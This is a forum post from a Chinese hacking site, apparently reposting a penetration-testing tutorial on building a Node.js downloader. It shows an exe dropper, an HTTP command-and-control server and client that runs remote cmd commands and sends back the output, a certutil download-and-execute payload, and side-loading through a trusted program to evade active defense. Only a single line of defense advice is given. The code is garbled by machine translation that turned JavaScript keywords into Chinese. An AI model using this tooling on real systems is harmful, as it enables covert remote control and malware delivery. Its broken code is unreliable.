跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

渗透测试中Node.js——Downloader的实现


风尘剑心

推荐的帖子

0x00 前言

Node.js是一个基于Chrome V8引擎的JavaScript运行环境,采用事件驱动、非阻塞的I/O模型,轻量高效。

最近在一篇文章中学习了使用Node.js绕过主动防御的技巧,于是研究了Node.js的语法,并开放了一个下载器实现代码,分享脚本开发中需要注意的细节。

Node.js绕过主动防御的学习地址:

https://bbs.pediy.com/thread-249573.htm

0x01 简介

本文将介绍以下内容:

基本概念

Node.js实现的文件发布

Node.js实现的下载器

利用理念

辩护建议

0x02 基本概念

Node.js同JavaScript的区别

JavaScript是一种语言。

Node.js是基于Chrome V8引擎的JavaScript运行环境。

虽然两者的脚本文件都有后缀。Windows平台下的js,它们在语法上差别很大。

Node.js的使用

官方文件:

https://nodejs.org/api/

中文信息:

http://www.runoob.com/nodejs/nodejs-tutorial.html

下载地址:

https://nodejs.org/en/download/

在Windows平台下,Node.js的代码保存在带有。js后缀,并由node.exe加载和执行。

Node.js支持第三方包,模块可以通过npm命令安装。例子如下:

安装web框架模块快速版:

npm快速安装

使用快速模块:

var express=require(' express ');

注:

本文涉及的所有代码都不使用第三方包,只使用安装包中的node.exe。

0x03 利用Node.js实现的文件释放

实现思路:

exe文件存储在base64编码的文件中。当它被释放时,首先被读取和解码,然后被写入文件。

1. 读取文件内容,做base64编码并输出到data.txt

function base64_encode(文件){

var fs=require(' fs ');

var data=fs . read file sync(file);

返回Buffer.from(数据)。toString(' base64 ');

}

var base 64 str=base64 _ encode(' test . exe ');

console . log(base 64 str);

注:

Fs.readFileSync表示同步读取,fs.readFile用于异步读取。

执行:

node.js base64encode.js data.txt

2. 读取data.txt中保存的加密字符串,base64解码并生成新的文件test2.exe

函数base64_decode(base64str,file) {

var data=Buffer.from(base64str,' base64 ');

fs.writeFileSync(文件,数据);

}

var fs=require(' fs ');

var base 64 str=fs . read file sync(' data . txt ');

console . log(base 64 str . tostring());

base64 _ decode(base64 str . tostring(),' test2 . exe ');

注:

使用代码varbase 64 str=fs . read file sync(' data . txt ');读取文件后,需要将变量base64str转换为字符串类型,即base64str.toString()

为了减少文件长度,增加了压缩算法gzip。

1. 读取test.exe中的内容,做gzip压缩后保存到文件data.gz

函数gunzip(sourcePath) {

var zlib=require(' zlib ');

var fs=require(' fs ');

var unzip=zlib . creategunzip();

var RS=fs . createreadstream(source path);

var ws=fs . createwritestream(' test 2 . exe ');

rs.pipe(解压)。管道(ws);

}

gunzip(' data . gz ');

2. 读取data.gz中的内容,做gzip解压缩后保存到文件test2.exe

var zlib=require(' zlib ');

var fs=require(' fs ');

函数gunzip(sourcePath) {

var unzip=zlib . creategunzip();

var RS=fs . createreadstream(source path);

var ws=fs . createwritestream(' test 2 . exe ');

rs.pipe(解压)。管道(ws);

}

gunzip(' data . gz ');

0x04 利用Node.js实现的downloader

实现思路:

1. Server

监听端口,等待客户端连接,记录客户端的IP、连接时间和post数据。

过滤客户端的数据包,向满足条件1的客户端返回控制命令,向满足条件2的客户端显示当前控制台上客户端发送的命令执行结果,否则返回404页。

2. Client

指定服务器以固定格式发送post数据,包括主机名和当前系统的操作系统版本。

接收服务器返回的控制命令,执行后再次将结果发送给服务器。

如果服务器没有响应,请等待一段时间,然后再次发送post请求。

需要考虑以下问题:

1. 通过Node.js执行cmd命令

函数runcmd(命令){

var child process=require(' child _ process ');

childprocess.exec(命令,(err,stdout,stderr)={

如果(错误){

console.error(错误);

返回;

}

console . log(stdout);

});

}

run cmd(' whoami ');

2. HTTP通信的实现

服务器:

var http=require(' http ');

var query string=require(' query string ');

http.createServer(function (req,res) {

var body=“”;

console.log('req.url:',req。网址);

req.on('数据,函数(块){

主体=块

console.log('chunk:',chunk);

});

req.on('end ',function () {

body=查询字符串。parse(正文);

console.log('body:',body);

res.write("来自服务器的消息");

RES . end();

});

}).听(3000,' 0 .0 .0 .0 ');

客户:

函数sendHello(主机1,端口1){

var http=require(' http ');

var query string=require('查询字符串');

var contents=查询字符串。stringify({

数据1:“字符串1”,

数据2:“str 2”

});

定义变量选项={

主机:主机1,

端口:端口1,

路径:"/",

方法:' POST ',

标题:{

content-Type ':' application/x-www-form-urlencoded ',

“内容长度”:内容长度

}

}

console.log('post选项:\n ',选项);

console.log('内容:',内容);

var req=http.request(options,function(res){

console.log('headers:',RES . headers);

var data1=

res.on('data ',function(chunk){

数据1=区块

});

res.on('end ',function(){

console.log('结果:',数据1)

});

});

请求写入(内容);

请求结束

};

sendHello('127.0.0.1 ',' 3000 ');

客户向计算机网络服务器发送邮政数据,内容为数据=str2数据2=str2

计算机网络服务器收到请求后,向客户回复的内容为来自服务器的消息

3. sleep的实现

节点。射流研究…默认不支持睡眠操作,这里可以自己实现:

功能休眠(毫秒){

var开始时间=新日期()。getTime();

而(新日期()。getTime()开始时间毫秒);

}

var时间间隔=' 5000

睡眠(时间间隔);

字符串类型转换为数字,可在前面加

4. Client定时循环发送post请求

这里需要考虑异步和同步的问题

节点。射流研究…是异步编程,但客户定时循环发送邮政请求需要使用同步实现,测试代码如下:

服务器:

代码同上

客户:

功能休眠(毫秒){

var开始时间=新日期()。getTime();

而(新日期()。getTime()开始时间毫秒);

}

函数sendHello(主机1,端口1){

var http=require(' http ');

var query string=require('查询字符串');

var contents=查询字符串。stringify({

数据1:“字符串1”,

数据2:“str 2”

});

定义变量选项={

主机:主机1,

端口:端口1,

路径:"/",

方法:' POST ',

标题:{

content-Type ':' application/x-www-form-urlencoded ',

“内容长度”:内容长度

}

}

console.log('post选项:\n ',选项);

console.log('内容:',内容);

var req=http.request(options,function(res){

console.log('headers:',RES . headers);

var data1=

res.on('data ',function(chunk){

数据1=区块

});

res.on('end ',function(){

console.log('结果:',数据1)

});

});

请求写入(内容);

请求结束

};

而(真)

{

控制台。log(" 1 ");

睡眠(5000);

sendHello('127.0.0.1 ',' 3000 ');

}

期待的结果:

Clinet每隔5秒发送一个邮政请求,接收结果

实际的结果:

每隔5秒执行一次循环,但Clinet没有发出请求

由于我们最初的设想是不使用npm,所以也无法使用异步非同步(异步)模块实现同步

最终,我通过方法嵌套解决了同步问题,示例如下:

功能休眠(毫秒){

var开始时间=新日期()。getTime();

而(新日期()。getTime()开始时间毫秒);

}

函数一个(){

控制台。日志(' A ');

b();

}

函数B(){

控制台。log(' B ');

睡眠(5000);

a();

}

a();

5. Server显示Client的IP

代码如下:

函数getClientIp(req) {

退货请求。标题[' x-forwarded-for ']| |

req.connection.remoteAddress ||

req.socket.remoteAddress ||

请求。联系。插座。远程地址;

};

默认为格式为ipv6,例如:

*法国法郎:127.0.0.1

可以通过修改听的参数指定为ipv4

修改前:听(3000);

修改后:听(3000,' 0 .0 .0 .0 ');

6. Server判断post请求,不符合要求的回复404

对身体的内容进行判断即可

完整实现代码已开源,地址:

https://github.com/3gstudent/NodeJS-Downloader

注:

开源的代码仅仅是一个示例,用作演示NodeJS的功能

用法如下:

需要先获得node.exe,下载地址:https://nodejs.org/en/download/

1. 编辑文件Server.js

可编译以下内容:

向客户发送的命令:var命令

监听端口:听(80,' 0 . 0 . 0 . 0 ');

2. 启动Server

node.exe服务器. js

监听端口,等待客户端连接,记录客户端的IP、连接时间和post数据。

过滤客户端的数据包,向第一个访问客户端返回控制命令,向第二个访问客户端在当前控制台显示客户端发送的命令执行结果,否则返回404页。

3. 编辑文件Client.js

可以编译以下内容:

服务器的Ip:var服务器IP

服务器端口:var serverport

周期时间:可变时间间隔

4. 启动Client

node.exe客户端

客户端将连接到服务器,并以固定格式发送post数据,包括主机名和当前系统的操作系统版本。

接下来,接收服务器返回的控制命令,执行后再次将结果发送给服务器。

如果服务器没有响应,请等待一段时间,然后再次发送post请求。

0x05 利用思路

1、开源的代码支持多种payload

例如,有效负载可以设置为下载文件并执行

var command=' certutil-URL cache-split-f https://github.com/3gstudent/test/raw/master/putty.exe c:\ \ a . exec:\ \ a . exe ';

更多下载命令请参考之前的文章《渗透技巧——从github下载文件的多种方法》。

注:

可以使用发送客户端退出的命令:

var command=' taskkill/f/im node . exe ';

2、可被第三方可信程序加载

参考:

https://bbs.pediy.com/thread-249573.htm

t.exe-node.exe-main.js

如图所示:

1.png?raw=true

0x06 防御建议

判断t.exe的子进程(node.exe)的行为,如有可疑行为进行拦截。

0x07 小结

介绍了开发Node.js代码时应该注意的细节,并开源了一个下载器的测试代码来演示Node.js的功能。

本文简要分析了渗透测试中的利用思路,并给出了一些防御建议。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...